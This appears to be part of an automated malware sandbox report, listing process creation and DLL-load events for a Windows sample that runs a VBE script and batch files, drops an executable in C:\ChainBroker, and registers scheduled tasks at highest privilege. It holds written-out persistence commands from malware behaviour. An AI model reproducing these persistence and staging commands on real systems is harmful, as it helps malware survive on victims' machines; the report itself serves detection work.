Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "bridgeServerFontSavesMonitorb" /sc MINUTE /mo 7 /tr "'C:\ChainBroker\bridgeServerFontSavesMonitor.exe'" /rl HIGHEST /f
Source: unknown	Process created: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\FeErzF7oGb.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: unknown	Process created: C:\ChainBroker\bridgeServerFontSavesMonitor.exe C:\ChainBroker\bridgeServerFontSavesMonitor.exe
Source: unknown	Process created: C:\ChainBroker\bridgeServerFontSavesMonitor.exe C:\ChainBroker\bridgeServerFontSavesMonitor.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe "C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe"
Source: unknown	Process created: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe "C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe"
Source: unknown	Process created: C:\ChainBroker\bridgeServerFontSavesMonitor.exe "C:\ChainBroker\bridgeServerFontSavesMonitor.exe"
Source: unknown	Process created: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe "C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe"
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ChainBroker\WiJ0Q2cIafyWfcOMJ8mrmlFuDvVbi9nZIDl7gyLiG4eFyDELulT2kNl2MWww.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ChainBroker\IrbV6YakyWCvQIuALcoa2IhBwWZ19ItpwUlqov7vyFBfFx5s16nM.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ChainBroker\bridgeServerFontSavesMonitor.exe "C:\ChainBroker/bridgeServerFontSavesMonitor.exe"	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\axeflxig\axeflxig.cmdline"	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "bridgeServerFontSavesMonitorb" /sc MINUTE /mo 9 /tr "'C:\ChainBroker\bridgeServerFontSavesMonitor.exe'" /f	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES69DB.tmp" "c:\Windows\System32\CSCAAFDA77B4B0340CF902F598B7E2DA6.TMP"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe "C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe"

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: mscoree.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: version.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: wldp.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: profapi.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: kernel.appcore.dll
